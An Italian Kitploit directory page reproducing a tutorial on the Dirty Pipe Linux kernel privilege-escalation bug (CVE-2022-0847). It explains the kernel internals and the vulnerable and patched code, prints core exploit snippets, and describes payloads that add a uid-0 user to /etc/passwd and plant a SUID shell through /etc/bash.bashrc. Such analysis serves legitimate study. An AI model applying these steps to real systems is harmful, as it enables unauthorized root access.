Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug- — Sfruttamento di CVE-2022-0847 - scritto da : Antonius (w1sdom) | Kitploit
Strumenti/GitHubGitHub/bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-
Escalation di PrivilegiAnalisi delle VulnerabilitàAnalisi del CodiceExploitCTFApprendimento e FormazioneBinary ExploitationLab e Pratica

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-

Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug-

Sfruttamento di CVE-2022-0847 - scritto da : Antonius (w1sdom)

Vedi Repository
316 mesi faNon ancora revisionato

Sfruttamento della Dirty Pipe nel Kernel Linux (Bug Logico)


di: Antonius (w1sdom)
https://www.bluedragonsec.com
https://github.com/bluedragonsecurity

Dirty Pipe (CVE-2022-0847) è una delle vulnerabilità di sicurezza più significative nel kernel Linux 5.8 – 5.15.24, scoperta da Max Kellermann nel 2022. Questa vulnerabilità consente agli utenti ordinari (senza privilegi speciali) di sovrascrivere dati in file che dovrebbero essere di sola lettura. Comprendere i Concetti Fondamentali

Prima di discutere Dirty Pipe in dettaglio, ecco alcuni concetti interni del kernel Linux che devono essere compresi:

1. Paging
Il paging è un meccanismo di gestione della memoria nel kernel Linux in cui il sistema di memoria divide la memoria fisica in piccoli blocchi di dimensione fissa chiamati page frame, e la memoria virtuale è divisa in blocchi della stessa dimensione chiamati pagine. Questo meccanismo consente al kernel di mappare lo spazio degli indirizzi virtuali dei processi alla memoria fisica in modo non sequenziale, il che è cruciale per l'efficienza e la sicurezza nei sistemi moderni.

2. Page (Memoria Virtuale)
In Linux, una pagina è la più piccola unità di gestione della memoria fisica gestita dal kernel. Analogia: la RAM è come un libro gigante. Una pagina è un singolo foglio di quel libro. Il kernel non sposta i dati bit per bit, ma foglio per foglio (pagina per pagina). In generale, sulle architetture di sistema moderne (come x86_64), la dimensione standard di una pagina è 4 KB (4096 byte).

3. Page Cache
Questa è una parte cruciale. Linux non legge i file direttamente dal disco ogni volta perché è lento. Il kernel copia il contenuto dei file nella RAM chiamata Page Cache.

  • Quando leggiamo un file, il kernel lo carica nella Page Cache.
  • Se un altro processo vuole leggere lo stesso file, il kernel fornisce solo un riferimento alla pagina che esiste già in quella memoria.
La Page Cache risiede nello spazio del kernel.

4. Pipe Buffer
La pipe è un meccanismo di comunicazione inter-processo (IPC). Internamente, il kernel gestisce le pipe tramite la struttura dati pipe_inode_info. I dati all'interno di una pipe sono memorizzati in un "buffer" chiamato Pipe Buffer.

  • Ring Buffer: il kernel usa una struttura circolare (ad anello) per gestire questo buffer. Un ring buffer è una struttura dati che usa un singolo array di dimensione fissa come se la sua fine fosse ricollegata al suo inizio. Questo crea un flusso di dati che "ruota" all'infinito.
  • Flags: ogni buffer ha attributi o "flag" che determinano il suo comportamento (ad esempio, se il buffer può essere unito).
Il Pipe Buffer risiede nello spazio del kernel.

5. Flag del Pipe Buffer (PIPE_BUF_FLAG_CAN_MERGE)
Il flag PIPE_BUF_FLAG_CAN_MERGE è stato introdotto nella versione 5.8 del kernel Linux. È qui che risiede la vulnerabilità principale. Il flag chiamato PIPE_BUF_FLAG_CAN_MERGE.

  • La sua funzione: dice al kernel che i nuovi dati scritti nella pipe possono essere uniti a un buffer esistente.
  • Il problema: prima della correzione di Dirty Pipe, il kernel non azzerava (resettava) correttamente questo flag durante l'esecuzione di splice().

6. Splice
splice() è una syscall per spostare dati tra due file descriptor senza copiare i dati tra lo spazio del kernel e lo spazio utente. Questo è spesso definito meccanismo Zero-copy. La syscall splice() è il "protagonista principale" di Dirty Pipe:

  • Invece di copiare fisicamente i dati, splice() esegue un'ottimizzazione facendo puntare il Pipe Buffer direttamente alla pagina nella Page Cache.
  • Questo significa che la pipe non contiene una copia dei dati del file, ma solo un "puntatore" alla memoria fisica del file.

7. Copy on Write (CoW)
Il meccanismo Copy-on-Write (CoW) è una strategia di ottimizzazione della gestione della memoria utilizzata dal kernel Linux per ritardare la copia dei dati finché non è assolutamente necessario. La relazione tra Copy-on-Write (CoW) e l'exploit Dirty Pipe (CVE-2022-0847) riguarda il modo in cui un piccolo bug nel kernel Linux "inganna" con successo il meccanismo CoW, consentendo la scrittura di dati in file che dovrebbero essere di sola lettura.

8. Dirty Page
Una dirty page è una pagina di memoria nella RAM che è stata modificata da un'applicazione, ma le modifiche non sono ancora state riscritte nella memoria secondaria (come SSD o disco rigido).

Analisi della Vulnerabilità Dirty Pipe

Dirty Pipe è un tipo di bug logico nella gestione del pipe buffer nel kernel Linux dalla versione 5.8 fino alla versione 5.15.24. Il problema principale risiede nel meccanismo Pipe (canale di comunicazione inter-processo) e nel modo in cui il kernel gestisce la Page Cache (memoria che conserva copie dei dati dei file dal disco). Il problema centrale è un bug nel flag PIPE_BUF_FLAG_CAN_MERGE.

Il problema principale risiede nella mancata re-inizializzazione corretta di questo flag da parte del kernel (bug logico). Ecco l'analisi del codice: Nelle funzioni copy_page_to_iter_pipe e push_to_pipe del kernel Linux precedente alla versione 5.16.11, quando si eseguono operazioni di splice, il kernel prepara la struttura pipe_buffer ma dimentica di pulire il membro .flags.

Struttura del Codice Vulnerabile:

root@kitploit:~
// Location of problem: fs/pipe.c or include/linux/pipe_fs_i.h
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags; // <--- THIS FLAG IS NOT RESET
    unsigned long private;
};

Codice Prima della Patch (Vulnerabile):

root@kitploit:~
// lib/iov_iter.c - Before CVE-2022-0847 patch
static size_t copy_page_to_iter_pipe(struct page *page,
    size_t offset, size_t bytes, struct iov_iter *i) {
    // ---------snip-----------
    struct pipe_buffer *buf = &pipe->bufs[head & mask];
root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLEM: buf->flags NOT TOUCHED AT ALL
// --------snip----------------------

}

Codice Dopo la Patch (Corretto):

root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
buf->flags = 0; // <--- TOTAL RESET TO ZERO

Perché buf->flags = 0 è meglio che disattivare semplicemente un flag specifico? Perché pipe_buffer è una struttura riutilizzata. Se disattiviamo solo un flag (CAN_MERGE), altri flag "spazzatura" derivanti dall'uso precedente della pipe (come PIPE_BUF_FLAG_GIFT o altri flag personalizzati) potrebbero rimanere e causare comportamenti strani o nuove falle di sicurezza in futuro. Impostarlo a 0 garantisce che il buffer sia in uno stato completamente "pulito".

Perché Può Essere Sfruttata?
Ecco il flusso di sfruttamento di Dirty Pipe:
1. Fase di Inquinamento (Pollution): l'attaccante inserisce dati nella pipe tramite write(). Una normale operazione write() imposterà buf->flags = PIPE_BUF_FLAG_CAN_MERGE.
2. Fase di Svuotamento (Drain): l'attaccante legge quei dati. Il buffer ora è logicamente "vuoto", ma la sua struttura esiste ancora nella memoria del kernel con il flag CAN_MERGE ancora attivo.
3. Fase di Splice: quando la syscall splice() mappa un file di sola lettura su una pipe, viene chiamata la funzione copy_page_to_iter_pipe(). A causa del bug sopra descritto, essa riempie buf->page con la pagina di memoria del file originale ma non resetta buf->flags.
4. Esecuzione: il kernel pensa che questo buffer di file possa ancora essere unito. La scrittura successiva nella pipe non creerà un nuovo buffer, ma modificherà direttamente la pagina di memoria (Page Cache) che era stata mappata in precedenza.

In questa fase, i dati dell'attaccante sono già memorizzati nella RAM. Una pagina nella RAM il cui contenuto differisce da ciò che è sul disco è chiamata "Dirty Page". Se questa fase viene raggiunta con successo, significa che lo sfruttamento è riuscito! Una volta modificata la Page Cache, l'effetto è immediato. Se sovrascriviamo /etc/passwd nella RAM, possiamo eseguire immediatamente su root in quel preciso momento.

Sfruttamento della Dirty Pipe

Per lo sfruttamento della Dirty Pipe, non abbiamo bisogno di disattivare alcuna protezione del kernel perché tutte le protezioni del kernel sono irrilevanti per prevenire questo bug logico. Per sfruttare il bug logico della Dirty Page, il nostro exploit eseguirà i seguenti passaggi:

Passaggio 1. Preparare la pipe e riempirla fino al massimo con l'obiettivo di attivare il flag PIPE_BUF_FLAG_CAN_MERGE.

root@kitploit:~
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    write(p[1], dummy, n);
    r -= n;
}

Passaggio 2. Svuotare la pipe.

root@kitploit:~
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    read(p[0], dummy, n);
    r -= n;
}
Passaggio 3. Usare splice() per inserire i dati del file di destinazione nella pipe.
root@kitploit:~
 
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
    perror("[-] splice failed");
    return 0;
}
Passaggio 4. Scrivere i dati del payload nella pipe.
root@kitploit:~
write(p[1], payload, strlen(payload));

Codice di Exploit Completo per lo Sfruttamento della Dirty Pipe Il codice di exploit completo è disponibile su https://github.com/bluedragonsecurity/dirtypipe2

Nota: il codice di exploit completo contiene funzioni per la validazione della versione del kernel, la preparazione della pipe, l'iniezione del payload e due diversi metodi di sfruttamento che mirano a /etc/passwd e /etc/bash.bashrc.

Metodi di Sfruttamento

L'exploit sopra utilizza 2 payload diversi con l'obiettivo che se il primo payload fallisce, verrà concatenato dal secondo payload.
Payload 1: scrive in /etc/passwd per aggiungere un nuovo utente chiamato 'toor' con uid 0. Se questo payload riesce, possiamo ottenere immediatamente una shell root.
Payload 2: mira a rilasciare una shell bash SUID in /tmp/x. In particolare per il secondo payload, è necessario attendere che l'utente root del sistema esegua il login perché il payload per rilasciare la shell SUID viene iniettato in /etc/bash.bashrc. In Linux, i comandi contenuti in /etc/bash.bashrc vengono eseguiti da ogni utente che accede al sistema al momento del login.

Test dell'Exploit

In questo esempio, ho usato il kernel Linux 5.13 in esecuzione su Lubuntu 20.04.5 in VirtualBox come sistema operativo guest e il sistema operativo host è Kali Linux 2025.4. Sulla macchina Lubuntu 20.04.5, compilare l'exploit:

root@kitploit:~
gcc -o dirtypipe2 dirtypipe2.c

Eseguire l'exploit:
root@kitploit:~
  ./dirtypipe2

e infine, abbiamo ottenuto una shell root:

Riferimenti

  • Divulgazione originale: https://dirtypipe.cm4all.com/
  • CVE-2022-0847: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847

• Patch del kernel Linux: commit 9d2231c5d74e13b2a0546fee6737ee4446017903 • Codice di exploit: https://github.com/bluedragonsecurity
Scarica lo strumento